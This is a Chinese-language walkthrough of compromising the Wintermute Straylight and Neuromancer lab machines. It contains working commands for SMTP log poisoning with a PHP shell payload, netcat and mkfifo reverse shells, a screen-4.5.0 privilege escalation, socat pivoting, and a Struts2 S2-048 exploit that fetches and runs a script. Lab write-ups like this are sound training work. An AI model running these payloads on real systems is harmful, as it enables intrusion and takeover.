前言
这次这个靶机让我学到挺多的,不过离谱的是师傅们做的时候,一定要仔细的配置靶机的网络。这个靶机是vbox打开的。
渗透机IP:192.168.10.5
靶机:
Wintermute-Straylight-beta IP:
第一张网卡IP: 192.168.10.6
第二章网卡IP: 192.168.11.7
Wintermute-Neuromancer-beta IP: 192.168.11.6
渗透
第一台靶机
渗透
arp-scan -I eth1 -l 指定网卡扫描IP地址
ip地址为192.168.10.6
使用nmap进行扫描
nmap -sV -sC -O 192.168.10.6
访问网站没有找到东西
dirb扫描继续查找
发现apache站点没有啥用
切换思路访问另一个站点3000端口
看到灰字提示了用户名密码都是admin
登录进去
发现了没有见过的目录名,在80端口访问一下
发现了文件包含
这时候有个思路就是包含一下/var/log/mail这个文件
如何我们通过25服务发送邮件
HELO ROOT 向机器标识用户身份
MAIL FROM:"ROOT <?php echo shell_exec($_GET[1]);?>" 发件人
RCPT TO:ROOT 收件人
data 编辑
. 编辑结束
文件包含
我们测试了一下,可以使用nc上线
nc 192.168.10.5 4444 -e /bin/bash
提权
find查看有没有可以提权的文件
screen-4.5.0存在漏洞
searchsploit screen4.5.0
locate 41154.sh
获取绝对路径
复制到当前路径
使用python启动一个服务器
python -m http.server 80
在靶机中
wget http://192.168.10.5/41154.sh
赋运行权限
chmod +x 41154.sh
其实也不用赋,linux系统有个东西就是. 文件名 这样是不需要执行权限的
执行
提权成功
ifconfig查看ip地址
内网靶机
渗透
扫描存活靶机
如何才一个靶机中扫描网段IP呢
我们这边可以写一个sh脚本
#!/bin/bash
for i in $(seq 20);do
ping -c 1 192.168.10.$i|grep 'bytes from'
done
写入ip.sh,上传到靶机(跟提权文件一样)
这边注意我是测试的,按照这个场景192.168.10.$i 应该是192.168.11.$i
在靶机上运行
已知7是自己
另一台靶机的ip地址就是192.168.11.6
扫描端口
扫描端口,使用nc
nc -v -z -w 2 192.168.11.6 1-65535
开放了三个端口
socat端口转发
我们的渗透机和靶机不在一个网段,现在我们控制了一个靶机,它们在一个网段,我们可以使用端口转发,访问我们访问的到靶机的端口去攻击内网的靶机
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:192.168.11.6:8009 & socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:192.168.11.6:8080 & socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:192.168.11.6:34483 &
nmap扫描我们能够访问的靶机,看看有没有转发端口
成功访问8080端口
在root目录下提示了我们一个目录
struts2 s2-048漏洞利用
根据struts2版本查找查找对用的漏洞,此次struts2漏洞存在
POC: Apache Struts 2.3.x Showcase - Remote Code Execution - Multiple webapps Exploit
下载下来
查看使用方法
由于我们攻击的是内网靶机
我们要在做个端口转发
socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.10.5:6666 &
将靶机本地的6666端口转发到kali渗透机的6666端口
然后通过nc反弹到靶机的6666端口,实现传递到kali渗透机
本地监听
使用poc
反弹shell
因为靶机的nc没有-e这个参数
我们利用文件管道符反弹shell
rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.7 6666 >/tmp/f
我们在kali启动一个http服务是3333端口
我们还是需要端口转发
socat TCP4-LISTEN:3333,reuseaddr,fork TCP4:192.168.10.5:3333 &
python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.11.7:3333/reverse.sh"
剩下就是赋权,执行
赋权:python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x reverse.sh"
执行:python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "./reverse.sh"
等了一会,没有反应想了想,可能是当前目录没有权限
反弹shell成功
python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.11.7:3333/reverse.sh -O /tmp/reverse.sh"
python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/reverse.sh"
python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "./tmp/reverse.sh"
python poc.py http://192.168.10.6:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/reverse.sh"
通过socat端口转发就拿下了一台内网靶机
提权
uname -a
查看内核
跟前面一样
靶机没有gcc编译好上传
这边还是失误了,在我们的第一台靶机编译,kali编译的有问题
改个密码哈哈哈,这个靶机就拿下了,这个靶机做的是最久的主要是调网络调了一天